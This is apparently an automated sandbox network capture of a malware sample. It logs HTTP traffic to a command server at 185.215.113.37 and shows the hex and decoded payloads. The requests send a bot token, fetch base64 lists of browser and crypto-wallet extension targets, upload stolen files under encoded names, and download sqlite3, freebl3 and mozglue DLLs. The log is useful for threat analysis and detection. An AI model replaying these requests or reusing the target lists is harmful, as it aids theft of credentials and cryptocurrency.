Oct 8, 2024 08:22:04.776679039 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 8, 2024 08:22:04.778229952 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDG Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="message"plugins------DAECAECFCAAEBFHIEHDG--
Oct 8, 2024 08:22:04.999905109 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 8, 2024 08:22:04.999969959 CEST	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Oct 8, 2024 08:22:04.999990940 CEST	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Oct 8, 2024 08:22:05.000011921 CEST	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Oct 8, 2024 08:22:05.000035048 CEST	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Oct 8, 2024 08:22:05.000053883 CEST	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Oct 8, 2024 08:22:05.000077009 CEST	1040	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Oct 8, 2024 08:22:05.002096891 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="message"fplugins------HJDBAFIECGHCBFIDGDAA--
Oct 8, 2024 08:22:05.224934101 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 8, 2024 08:22:05.245326042 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKE Host: 185.215.113.37 Content-Length: 6399 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 08:22:05.245405912 CEST	6399	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 8, 2024 08:22:06.094744921 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:06.355820894 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 08:22:06.573956966 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 8, 2024 08:22:06.573976994 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 8, 2024 08:22:06.574002981 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 8, 2024 08:22:07.898974895 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 08:22:08.622905016 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:08.824889898 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKFBFIJJECGCAAAFCBG Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 08:22:09.675009012 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:09.692065954 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDGDAKFHIEHJKFHDHDB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="file"------FIDGDAKFHIEHJKFHDHDB--
Oct 8, 2024 08:22:10.412766933 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:10.734704971 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 35 32 61 36 66 32 38 35 30 39 63 64 35 36 62 30 66 35 61 37 61 64 66 35 63 61 35 35 63 66 66 31 64 63 31 30 61 63 65 30 61 39 37 38 35 37 62 61 38 63 31 61 32 35 64 36 66 63 32 32 34 31 36 33 34 63 66 39 37 63 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"b52a6f28509cd56b0f5a7adf5ca55cff1dc10ace0a97857ba8c1a25d6fc2241634cf97cb------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file"------CGDBGCBGIDHCBGDHIEBF--
Oct 8, 2024 08:22:11.448151112 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 08:22:11.668796062 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 08:22:11.886835098 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:11 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 8, 2024 08:22:12.727932930 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 08:22:12.946063995 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 06:22:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS 